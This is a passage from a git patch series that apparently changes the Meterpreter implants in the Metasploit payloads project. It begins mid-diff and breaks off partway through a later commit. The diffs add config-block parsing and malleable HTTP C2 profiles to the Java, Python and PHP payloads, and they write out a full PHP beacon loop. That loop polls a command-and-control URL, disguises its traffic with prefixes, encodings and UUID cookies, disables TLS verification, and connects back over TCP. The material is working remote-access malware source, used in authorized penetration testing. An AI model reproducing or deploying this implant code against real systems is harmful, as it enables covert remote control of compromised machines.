loadedHash = c2Group.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, new byte[0]); + if (loadedHash.length > 0) { + transportConfig.cert_hash = loadedHash; + } + + // Parse C2 profile GET/POST sub-groups + transportConfig.c2Get = parseC2VerbGroup(c2Group, TLVType.TLV_TYPE_C2_GET); + transportConfig.c2Post = parseC2VerbGroup(c2Group, TLVType.TLV_TYPE_C2_POST); } config.transportConfigList.add(transportConfig); } return config; } + + private static C2VerbConfig parseC2VerbGroup(TLVPacket c2Group, int groupType) { + TLVPacket verbGroup; + try { + verbGroup = (TLVPacket) c2Group.getValue(groupType); + } catch (IllegalArgumentException e) { + return null; + } + + C2VerbConfig config = new C2VerbConfig(); + config.uri = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_URI, null); + config.enc = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_ENC, new Integer(0)); + config.prefix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_PREFIX, null); + config.suffix = verbGroup.getRawValue(TLVType.TLV_TYPE_C2_SUFFIX, null); + config.prefixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_PREFIX_SKIP, new Integer(0)); + config.suffixSkip = (Integer) verbGroup.getValue(TLVType.TLV_TYPE_C2_SUFFIX_SKIP, new Integer(0)); + config.uuidGet = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_GET, null); + config.uuidHeader = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_HEADER, null); + config.uuidCookie = verbGroup.getStringValue(TLVType.TLV_TYPE_C2_UUID_COOKIE, null); + return config; + } } diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java index 05a6dc9d7..aaf335644 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java @@ -15,4 +15,8 @@ public class TransportConfig { public byte[] cert_hash; public String custom_headers; + // C2 profile (HTTP only) + public C2VerbConfig c2Get; + public C2VerbConfig c2Post; + } From e0f3b60980fbec94ea29a02ba46f63de519f6a25 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 17:27:53 +1000 Subject: [PATCH 04/35] Always use config block in python Removes substituting stuff --- python/meterpreter/meterpreter.py | 52 +++++++++++++------------------ 1 file changed, 21 insertions(+), 31 deletions(-) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index b3dff2256..6cfeaf7cd 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -64,19 +64,15 @@ DEBUGGING = False DEBUGGING_LOG_FILE_PATH = None TRY_TO_FORK = True -HTTP_CONNECTION_URL = None -HTTP_PROXY = None -HTTP_USER_AGENT = None -HTTP_COOKIE = None -HTTP_HOST = None -HTTP_REFERER = None +CONFIG_BLOCK = '' + +# defaults used as fallbacks within transport setup PAYLOAD_UUID = '' SESSION_GUID = '' SESSION_COMMUNICATION_TIMEOUT = 300 SESSION_EXPIRATION_TIMEOUT = 604800 SESSION_RETRY_TOTAL = 3600 SESSION_RETRY_WAIT = 10 -CONFIG_BLOCK = '' PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 @@ -948,7 +944,7 @@ def from_request(request): transport = TcpTransport(url) elif url.startswith('http'): proxy = packet_get_tlv(request, TLV_TYPE_C2_PROXY_URL).get('value') - user_agent = packet_get_tlv(request, TLV_TYPE_C2_UA).get('value', HTTP_USER_AGENT) + user_agent = packet_get_tlv(request, TLV_TYPE_C2_UA).get('value') http_headers = packet_get_tlv(request, TLV_TYPE_C2_HEADERS).get('value', None) transport = HttpTransport(url, proxy=proxy, user_agent=user_agent) if http_headers: @@ -2193,27 +2189,21 @@ def encrypt(self, pt): except OSError: pass - if CONFIG_BLOCK: - config = parse_config_block(base64.b64decode(CONFIG_BLOCK)) - PAYLOAD_UUID = binascii.b2a_hex(config['uuid']).decode('UTF-8') - SESSION_GUID = binascii.b2a_hex(config['session_guid']).decode('UTF-8') - if config.get('debug_log'): - DEBUGGING = True - DEBUGGING_LOG_FILE_PATH = config['debug_log'] - transport = config['transports'][0] - met = PythonMeterpreter(transport) - met.session_expiry_time = config['session_expiry'] - met.session_expiry_end = time.time() + config['session_expiry'] - for t in config['transports'][1:]: - met.transports.append(t) - elif HTTP_CONNECTION_URL: - if not has_urllib: - raise RuntimeError('HTTP transport requested but urllib is not available') - transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT, - http_host=HTTP_HOST, http_referer=HTTP_REFERER, http_cookie=HTTP_COOKIE) - met = PythonMeterpreter(transport) - else: - # PATCH-SETUP-STAGELESS-TCP-SOCKET # - transport = TcpTransport.from_socket(s) - met = PythonMeterpreter(transport) + config = parse_config_block(base64.b64decode(CONFIG_BLOCK)) + PAYLOAD_UUID = binascii.b2a_hex(config['uuid']).decode('UTF-8') + SESSION_GUID = binascii.b2a_hex(config['session_guid']).decode('UTF-8') + if config.get('debug_log'): + DEBUGGING = True + DEBUGGING_LOG_FILE_PATH = config['debug_log'] + transport = config['transports'][0] + # For staged TCP payloads, the stager has already established the socket + # connection, so bind it to the first transport instead of reconnecting. + if isinstance(transport, TcpTransport) and 's' in globals(): + transport.socket = s + # PATCH-SETUP-STAGELESS-TCP-SOCKET # + met = PythonMeterpreter(transport) + met.session_expiry_time = config['session_expiry'] + met.session_expiry_end = time.time() + config['session_expiry'] + for t in config['transports'][1:]: + met.transports.append(t) met.run() From 2ac49f084c4f39064c731e2ad3fa10596573b9ab Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 17:42:29 +1000 Subject: [PATCH 05/35] Update PHP to make use of TLV configuration --- php/meterpreter/meterpreter.php | 616 ++++++++++++++++++++++++-------- 1 file changed, 471 insertions(+), 145 deletions(-) diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index 4254964df..cea4a3444 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -125,10 +125,10 @@ function socket_set_option($sock, $type, $opt, $value) { } # -# Payload definitions +# Payload definitions - CONFIG_BLOCK is patched by the framework with a +# base64-encoded TLV configuration packet. # -define("PAYLOAD_UUID", ""); -define("SESSION_GUID", ""); +define("CONFIG_BLOCK", ""); # # Constants @@ -225,6 +225,37 @@ function socket_set_option($sock, $type, $opt, $value) { define("TLV_TYPE_SYM_KEY", TLV_META_TYPE_RAW | 552); define("TLV_TYPE_ENC_SYM_KEY", TLV_META_TYPE_RAW | 553); +# C2/Transport configuration +define("TLV_TYPE_SESSION_EXPIRY", TLV_META_TYPE_UINT | 700); +define("TLV_TYPE_DEBUG_LOG", TLV_META_TYPE_STRING | 702); +define("TLV_TYPE_C2", TLV_META_TYPE_GROUP | 704); +define("TLV_TYPE_C2_COMM_TIMEOUT", TLV_META_TYPE_UINT | 705); +define("TLV_TYPE_C2_RETRY_TOTAL", TLV_META_TYPE_UINT | 706); +define("TLV_TYPE_C2_RETRY_WAIT", TLV_META_TYPE_UINT | 707); +define("TLV_TYPE_C2_URL", TLV_META_TYPE_STRING | 708); +define("TLV_TYPE_C2_URI", TLV_META_TYPE_STRING | 709); +define("TLV_TYPE_C2_PROXY_URL", TLV_META_TYPE_STRING | 710); +define("TLV_TYPE_C2_PROXY_USER", TLV_META_TYPE_STRING | 711); +define("TLV_TYPE_C2_PROXY_PASS", TLV_META_TYPE_STRING | 712); +define("TLV_TYPE_C2_GET", TLV_META_TYPE_GROUP | 713); +define("TLV_TYPE_C2_POST", TLV_META_TYPE_GROUP | 714); +define("TLV_TYPE_C2_HEADERS", TLV_META_TYPE_STRING | 715); +define("TLV_TYPE_C2_UA", TLV_META_TYPE_STRING | 716); +define("TLV_TYPE_C2_CERT_HASH", TLV_META_TYPE_RAW | 717); +define("TLV_TYPE_C2_PREFIX", TLV_META_TYPE_RAW | 718); +define("TLV_TYPE_C2_SUFFIX", TLV_META_TYPE_RAW | 719); +define("TLV_TYPE_C2_ENC", TLV_META_TYPE_UINT | 720); +define("TLV_TYPE_C2_PREFIX_SKIP", TLV_META_TYPE_UINT | 721); +define("TLV_TYPE_C2_SUFFIX_SKIP", TLV_META_TYPE_UINT | 722); +define("TLV_TYPE_C2_UUID_COOKIE", TLV_META_TYPE_STRING | 723); +define("TLV_TYPE_C2_UUID_GET", TLV_META_TYPE_STRING | 724); +define("TLV_TYPE_C2_UUID_HEADER", TLV_META_TYPE_STRING | 725); + +# C2 encoding constants +define("C2_ENCODING_NONE", 0); +define("C2_ENCODING_B64", 1); +define("C2_ENCODING_B64URL", 2); + # --------------------------------------------------------------- # --- THIS CONTENT WAS GENERATED BY A TOOL @ 2020-05-01 05:33:39 UTC # IDs for core @@ -1098,6 +1129,116 @@ function packet_get_tlv($pkt, $type) { } +function packet_get_tlv_raw($raw, $type) { + $offset = 0; + while ($offset < strlen($raw)) { + $tlv = tlv_unpack(substr($raw, $offset)); + if ($tlv == null) { break; } + if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { + return $tlv; + } + $offset += $tlv['len']; + } + return null; +} + +function packet_enum_tlvs_raw($raw, $type) { + $offset = 0; + $all = array(); + while ($offset < strlen($raw)) { + $tlv = tlv_unpack(substr($raw, $offset)); + if ($tlv == null) { break; } + if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { + $all[] = $tlv; + } + $offset += $tlv['len']; + } + return $all; +} + +function parse_c2_verb_config($group_bytes) { + $config = array(); + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_URI); + $config['uri'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_ENC); + $config['enc'] = ($tlv != null) ? $tlv['value'] : C2_ENCODING_NONE; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_PREFIX); + $config['prefix'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_SUFFIX); + $config['suffix'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_PREFIX_SKIP); + $config['prefix_skip'] = ($tlv != null) ? $tlv['value'] : 0; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_SUFFIX_SKIP); + $config['suffix_skip'] = ($tlv != null) ? $tlv['value'] : 0; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_GET); + $config['uuid_get'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_HEADER); + $config['uuid_header'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($group_bytes, TLV_TYPE_C2_UUID_COOKIE); + $config['uuid_cookie'] = ($tlv != null) ? $tlv['value'] : null; + return $config; +} + +function parse_config_block($raw) { + $config_bytes = decrypt_packet(xor_bytes(substr($raw, 0, 4), $raw)); + + $config = array(); + + $tlv = packet_get_tlv_raw($config_bytes, TLV_TYPE_UUID); + $config['uuid'] = ($tlv != null) ? $tlv['value'] : str_repeat("\x00", 16); + + $tlv = packet_get_tlv_raw($config_bytes, TLV_TYPE_SESSION_GUID); + $config['session_guid'] = ($tlv != null) ? $tlv['value'] : str_repeat("\x00", 16); + + $tlv = packet_get_tlv_raw($config_bytes, TLV_TYPE_SESSION_EXPIRY); + $config['session_expiry'] = ($tlv != null) ? $tlv['value'] : 604800; + + $tlv = packet_get_tlv_raw($config_bytes, TLV_TYPE_DEBUG_LOG); + $config['debug_log'] = ($tlv != null) ? $tlv['value'] : null; + + $tlv = packet_get_tlv_raw($config_bytes, TLV_TYPE_SYM_KEY); + $config['sym_key'] = ($tlv != null) ? $tlv['value'] : null; + + $transports = array(); + foreach (packet_enum_tlvs_raw($config_bytes, TLV_TYPE_C2) as $c2_tlv) { + $c2_bytes = $c2_tlv['value']; + + $t = array(); + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_URL); + if ($tlv == null) { continue; } + $t['url'] = $tlv['value']; + + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_COMM_TIMEOUT); + $t['comm_timeout'] = ($tlv != null) ? $tlv['value'] : 300; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_RETRY_TOTAL); + $t['retry_total'] = ($tlv != null) ? $tlv['value'] : 3600; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_RETRY_WAIT); + $t['retry_wait'] = ($tlv != null) ? $tlv['value'] : 10; + + if (strpos($t['url'], 'http') === 0) { + $t['type'] = 'http'; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_UA); + $t['ua'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_PROXY_URL); + $t['proxy_url'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_HEADERS); + $t['custom_headers'] = ($tlv != null) ? $tlv['value'] : null; + + $get_group = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_GET); + $t['c2_get'] = ($get_group != null) ? parse_c2_verb_config($get_group['value']) : null; + $post_group = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_POST); + $t['c2_post'] = ($post_group != null) ? parse_c2_verb_config($post_group['value']) : null; + } else { + $t['type'] = 'tcp'; + } + + $transports[] = $t; + } + $config['transports'] = $transports; + + return $config; +} + function packet_get_all_tlvs($pkt, $type) { my_print("Looking for all tlvs of type $type"); # Start at offset 8 to skip past the packet header @@ -1495,6 +1636,147 @@ function remove_reader($resource) { } +## +# HTTP Transport Functions +## + +function c2_encode($data, $enc) { + if ($enc == C2_ENCODING_B64) { + return base64_encode($data); + } elseif ($enc == C2_ENCODING_B64URL) { + return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); + } + return $data; +} + +function c2_decode($data, $enc) { + if ($enc == C2_ENCODING_B64) { + return base64_decode($data); + } elseif ($enc == C2_ENCODING_B64URL) { + return base64_decode(strtr($data, '-_', '+/')); + } + return $data; +} + +function http_get_uuid_from_url($url) { + $path = parse_url($url, PHP_URL_PATH); + if ($path === null || strlen($path) <= 1) { return ''; } + $path = trim($path, '/'); + $parts = explode('/', $path); + return end($parts); +} + +function http_build_profile_url($base_url, $profile) { + if ($profile == null || !isset($profile['uri']) || $profile['uri'] == null) { + return $base_url; + } + $parsed = parse_url($base_url); + $url = $parsed['scheme'] . '://' . $parsed['host']; + if (isset($parsed['port'])) { $url .= ':' . $parsed['port']; } + $uri = $profile['uri']; + if ($uri[0] != '/') { $uri = '/' . $uri; } + $url .= $uri; + + if (isset($profile['uuid_get']) && $profile['uuid_get'] != null) { + $uuid = http_get_uuid_from_url($base_url); + if (strlen($uuid) > 0) { + $sep = (strpos($url, '?') !== false) ? '&' : '?'; + $url .= $sep . $profile['uuid_get'] . '=' . $uuid; + } + } + return $url; +} + +function http_build_context($transport, $profile, $body = null) { + $headers = "Content-Type: application/octet-stream\r\n"; + if (isset($transport['ua']) && $transport['ua'] != null) { + $headers .= "User-Agent: " . $transport['ua'] . "\r\n"; + } + if (isset($transport['custom_headers']) && $transport['custom_headers'] != null) { + $headers .= $transport['custom_headers'] . "\r\n"; + } + if ($profile != null) { + if (isset($profile['uuid_header']) && $profile['uuid_header'] != null) { + $uuid = http_get_uuid_from_url($transport['url']); + if (strlen($uuid) > 0) { + $headers .= $profile['uuid_header'] . ': ' . $uuid . "\r\n"; + } + } + if (isset($profile['uuid_cookie']) && $profile['uuid_cookie'] != null) { + $uuid = http_get_uuid_from_url($transport['url']); + if (strlen($uuid) > 0) { + $headers .= "Cookie: " . $profile['uuid_cookie'] . '=' . $uuid . "\r\n"; + } + } + } + + $opts = array('http' => array( + 'method' => ($body !== null) ? 'POST' : 'GET', + 'header' => $headers, + 'timeout' => $transport['comm_timeout'], + 'ignore_errors' => true, + )); + if ($body !== null) { + $opts['http']['content'] = $body; + } + + if (isset($transport['proxy_url']) && $transport['proxy_url'] != null) { + $opts['http']['proxy'] = $transport['proxy_url']; + $opts['http']['request_fulluri'] = true; + } + + if (strpos($transport['url'], 'https') === 0) { + $opts['ssl'] = array( + 'verify_peer' => false, + 'verify_peer_name' => false, + 'allow_self_signed' => true, + ); + } + + return stream_context_create($opts); +} + +function http_get_packet($transport) { + $profile = $transport['c2_get']; + $url = http_build_profile_url($transport['url'], $profile); + $ctx = http_build_context($transport, $profile); + + $raw = @file_get_contents($url, false, $ctx); + if ($raw === false || strlen($raw) == 0) { + return null; + } + + if ($profile != null) { + $start = $profile['prefix_skip']; + $end = strlen($raw) - $profile['suffix_skip']; + if ($start > 0 || $profile['suffix_skip'] > 0) { + $raw = substr($raw, $start, $end - $start); + } + $raw = c2_decode($raw, $profile['enc']); + } + + return $raw; +} + +function http_send_packet($transport, $packet) { + $profile = $transport['c2_post']; + $body = $packet; + + if ($profile != null) { + $body = c2_encode($body, $profile['enc']); + $prefix = isset($profile['prefix']) ? $profile['prefix'] : ''; + $suffix = isset($profile['suffix']) ? $profile['suffix'] : ''; + if (strlen($prefix) > 0 || strlen($suffix) > 0) { + $body = $prefix . $body . $suffix; + } + } + + $url = http_build_profile_url($transport['url'], $profile); + $ctx = http_build_context($transport, $profile, $body); + + @file_get_contents($url, false, $ctx); +} + ## # Main stuff ## @@ -1515,163 +1797,207 @@ function remove_reader($resource) { @ignore_user_abort(1); @ini_set('max_execution_time',0); -# Add the payload UUID to globals, and use that from now on so that we can -# update it as required. -$GLOBALS['UUID'] = PAYLOAD_UUID; -$GLOBALS['SESSION_GUID'] = SESSION_GUID; -$GLOBALS['AES_KEY'] = null; +# Parse configuration from TLV config block +$config = parse_config_block(base64_decode(CONFIG_BLOCK)); + +$GLOBALS['UUID'] = $config['uuid']; +$GLOBALS['SESSION_GUID'] = $config['session_guid']; +$GLOBALS['AES_KEY'] = $config['sym_key']; $GLOBALS['AES_ENABLED'] = false; -# If we don't have a socket we're standalone, setup the connection here. -# Otherwise, this is a staged payload, don't bother connecting -if (!isset($GLOBALS['msgsock'])) { - # The payload handler overwrites this with the correct LHOST before sending - # it to the victim. - $ipaddr = '127.0.0.1'; - $port = 4444; - my_print("Don't have a msgsock, trying to connect($ipaddr, $port)"); - $msgsock = connect($ipaddr, $port); - if (!$msgsock) { die(); } -} else { - # The ABI for PHP stagers is a socket in $msgsock and it's type (socket or - # stream) in $msgsock_type - $msgsock = $GLOBALS['msgsock']; - $msgsock_type = $GLOBALS['msgsock_type']; - switch ($msgsock_type) { - case 'socket': - register_socket($msgsock); - break; - case 'stream': - # fall through - default: - register_stream($msgsock); - } +if ($config['debug_log'] != null) { + # Debug logging path comes from config + my_print("Debug log path: " . $config['debug_log']); } -add_reader($msgsock); -# -# Main dispatch loop -# -$r=$GLOBALS['readers']; -$w=NULL;$e=NULL;$t=1; -while (false !== ($cnt = select($r, $w, $e, $t))) { - #my_print(sprintf("Returned from select with %s readers", count($r))); - $read_failed = false; - for ($i = 0; $i < $cnt; $i++) { - $ready = $r[$i]; - if ($ready == $msgsock) { - $packet = read($msgsock, 32); - my_print(sprintf("Read returned %s bytes", strlen($packet))); - if (false==$packet) { - my_print("Read failed on main socket, bailing"); - # We failed on the main socket. There's no way to continue, so - # break all the way out. - break 2; - } - $xor = substr($packet, 0, 4); - $header = xor_bytes($xor, substr($packet, 4, 28)); - $len_array = unpack("Nlen", substr($header, 20, 4)); - # length of the packet should be the packet header size - # minus 8 for the tlv length + the required data length - $len = $len_array['len'] + 32 - 8; - # packet type should always be 0, i.e. PACKET_TYPE_REQUEST - while (strlen($packet) < $len) { - $packet .= read($msgsock, $len-strlen($packet)); - } - $response = create_response(decrypt_packet(xor_bytes($xor, $packet))); +$GLOBALS['transport_list'] = $config['transports']; +$GLOBALS['current_transport_idx'] = 0; +$GLOBALS['session_expiry_end'] = time() + $config['session_expiry']; - write_tlv_to_socket($msgsock, $response); - } else { - #my_print("not Msgsock: $ready"); - $chan_id = get_channel_id_from_resource($ready); - $channel = false; - if ($chan_id !== false) { - $channel = get_channel_by_id($chan_id); - } +$transport = $GLOBALS['transport_list'][0]; + +if ($transport['type'] == 'tcp') { + # For TCP transports: use the pre-connected stager socket if available, + # otherwise connect fresh. + if (isset($GLOBALS['msgsock'])) { + $msgsock = $GLOBALS['msgsock']; + $msgsock_type = $GLOBALS['msgsock_type']; + switch ($msgsock_type) { + case 'socket': + register_socket($msgsock); + break; + case 'stream': + default: + register_stream($msgsock); + } + } else { + # Parse host:port from tcp://host:port URL + $url_parts = parse_url($transport['url']); + $ipaddr = $url_parts['host']; + $port = $url_parts['port']; + my_print("TCP transport, connecting to $ipaddr:$port"); + $msgsock = connect($ipaddr, $port); + if (!$msgsock) { die(); } + } + add_reader($msgsock); + + # + # TCP main dispatch loop + # + $r=$GLOBALS['readers']; + $w=NULL;$e=NULL;$t=1; + while (false !== ($cnt = select($r, $w, $e, $t))) { + if (time() > $GLOBALS['session_expiry_end']) { break; } + for ($i = 0; $i < $cnt; $i++) { + $ready = $r[$i]; + if ($ready == $msgsock) { + $packet = read($msgsock, 32); + if (false==$packet) { + break 2; + } + $xor = substr($packet, 0, 4); + $header = xor_bytes($xor, substr($packet, 4, 28)); + $len_array = unpack("Nlen", substr($header, 20, 4)); + $len = $len_array['len'] + 32 - 8; + while (strlen($packet) < $len) { + $packet .= read($msgsock, $len-strlen($packet)); + } + $response = create_response(decrypt_packet(xor_bytes($xor, $packet))); + write_tlv_to_socket($msgsock, $response); + } else { + #my_print("not Msgsock: $ready"); + $chan_id = get_channel_id_from_resource($ready); + $channel = false; + if ($chan_id !== false) { + $channel = get_channel_by_id($chan_id); + } - if ($channel && isset($channel['subtype']) && $channel['subtype'] == 'tcp_server') { - $client_sock = false; - $client_addr = ''; - $client_port = 0; - $server_addr = ''; - $server_port = 0; + if ($channel && isset($channel['subtype']) && $channel['subtype'] == 'tcp_server') { + $client_sock = false; + $client_addr = ''; + $client_port = 0; + $server_addr = ''; + $server_port = 0; + + switch (get_rtype($ready)) { + case 'socket': + $client_sock = @socket_accept($ready); + if ($client_sock) { + @socket_getpeername($client_sock, $client_addr, $client_port); + @socket_getsockname($ready, $server_addr, $server_port); + register_socket($client_sock); + } + break; + case 'stream': + $peer_name = ''; + $client_sock = @stream_socket_accept($ready, 0, $peer_name); + if ($client_sock) { + $local_name = stream_socket_get_name($ready, false); + if (!is_string($peer_name)) { + $peer_name = ''; + } + if (!is_string($local_name)) { + $local_name = ''; + } + + if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $peer_name, $matches)) { + $client_addr = $matches[1]; + $client_port = (int)$matches[2]; + } elseif (preg_match('/^([^:]+):(\d+)$/', $peer_name, $matches)) { + $client_addr = $matches[1]; + $client_port = (int)$matches[2]; + } + + if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $local_name, $matches)) { + $server_addr = $matches[1]; + $server_port = (int)$matches[2]; + } elseif (preg_match('/^([^:]+):(\d+)$/', $local_name, $matches)) { + $server_addr = $matches[1]; + $server_port = (int)$matches[2]; + } + + register_stream($client_sock); + } + break; + } - switch (get_rtype($ready)) { - case 'socket': - $client_sock = @socket_accept($ready); if ($client_sock) { - @socket_getpeername($client_sock, $client_addr, $client_port); - @socket_getsockname($ready, $server_addr, $server_port); - register_socket($client_sock); + $client_channel_id = register_channel($client_sock); + add_reader($client_sock); + + $pkt = pack("N", PACKET_TYPE_REQUEST); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $client_channel_id)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_PARENTID, $chan_id)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_HOST, $server_addr)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_PORT, $server_port)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $client_addr)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $client_port)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); + $pkt = pack("N", strlen($pkt) + 4) . $pkt; + write_tlv_to_socket($msgsock, $pkt); } - break; - case 'stream': - $peer_name = ''; - $client_sock = @stream_socket_accept($ready, 0, $peer_name); - if ($client_sock) { - $local_name = stream_socket_get_name($ready, false); - if (!is_string($peer_name)) { - $peer_name = ''; - } - if (!is_string($local_name)) { - $local_name = ''; + } else { + $data = read($ready); + if (false === $data) { + handle_dead_resource_channel($ready); + } elseif (strlen($data) > 0){ + my_print(sprintf("Read returned %s bytes", strlen($data))); + $request = handle_resource_read_channel($ready, $data); + if ($request) { + write_tlv_to_socket($msgsock, $request); } + } + } + } + } + $r = $GLOBALS['readers']; + } + my_print("Finished TCP transport"); + close($msgsock); + +} elseif ($transport['type'] == 'http') { + # + # HTTP(S) main dispatch loop - stateless GET/POST cycle + # + my_print("Starting HTTP transport to " . $transport['url']); + $last_packet_time = time(); + $empty_count = 0; + + while (time() < $GLOBALS['session_expiry_end']) { + if (time() > $last_packet_time + $transport['comm_timeout']) { + my_print("Communication timeout reached"); + break; + } - if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $peer_name, $matches)) { - $client_addr = $matches[1]; - $client_port = (int)$matches[2]; - } elseif (preg_match('/^([^:]+):(\d+)$/', $peer_name, $matches)) { - $client_addr = $matches[1]; - $client_port = (int)$matches[2]; - } + # GET - poll for a request from the server + $raw = http_get_packet($transport); - if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $local_name, $matches)) { - $server_addr = $matches[1]; - $server_port = (int)$matches[2]; - } elseif (preg_match('/^([^:]+):(\d+)$/', $local_name, $matches)) { - $server_addr = $matches[1]; - $server_port = (int)$matches[2]; - } + if ($raw != null && strlen($raw) >= 32) { + $empty_count = 0; + $last_packet_time = time(); - register_stream($client_sock); - } - break; - } + $xor = substr($raw, 0, 4); + $decrypted = decrypt_packet(xor_bytes($xor, $raw)); + $response = create_response($decrypted); - if ($client_sock) { - $client_channel_id = register_channel($client_sock); - add_reader($client_sock); - - $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $client_channel_id)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_PARENTID, $chan_id)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_HOST, $server_addr)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_PORT, $server_port)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $client_addr)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $client_port)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - write_tlv_to_socket($msgsock, $pkt); - } - } else { - $data = read($ready); - if (false === $data) { - handle_dead_resource_channel($ready); - } elseif (strlen($data) > 0){ - my_print(sprintf("Read returned %s bytes", strlen($data))); - $request = handle_resource_read_channel($ready, $data); - if ($request) { - write_tlv_to_socket($msgsock, $request); - } - } + # POST - send the response back + $xor_key = rand_xor_key(); + $encrypted = encrypt_packet($response); + $packet = $xor_key . xor_bytes($xor_key, $encrypted); + http_send_packet($transport, $packet); + } else { + # Server had nothing for us, back off + if ($raw !== null) { + # Got an empty 200 response - connection is alive + $last_packet_time = time(); } + $delay = min(10, $empty_count * 0.1); + $empty_count++; + usleep((int)($delay * 1000000)); } } - # $r is modified by select, so reset it - $r = $GLOBALS['readers']; -} # end main loop -my_print("Finished"); + my_print("Finished HTTP transport"); +} my_print("--------------------"); -close($msgsock); From aecfefb829fbaa234de8db53d373e456462f90fd Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 22:29:35 +1000 Subject: [PATCH 06/35] Add UUID cookie and proxy user/pass support to python --- python/meterpreter/meterpreter.py | 27 ++++++++++++++++++++++----- 1 file changed, 22 insertions(+), 5 deletions(-) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index 6cfeaf7cd..963684634 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -24,7 +24,7 @@ has_windll = hasattr(ctypes, 'windll') try: - urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] + urllib_imports = ['HTTPPasswordMgrWithDefaultRealm', 'ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] if sys.version_info[0] < 3: urllib = __import__('urllib2', fromlist=urllib_imports) else: @@ -935,6 +935,7 @@ def _parse_c2_verb_options(group_bytes): opts['suffix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_SUFFIX).get('value') opts['uuid_get'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_GET).get('value') opts['uuid_header'] = 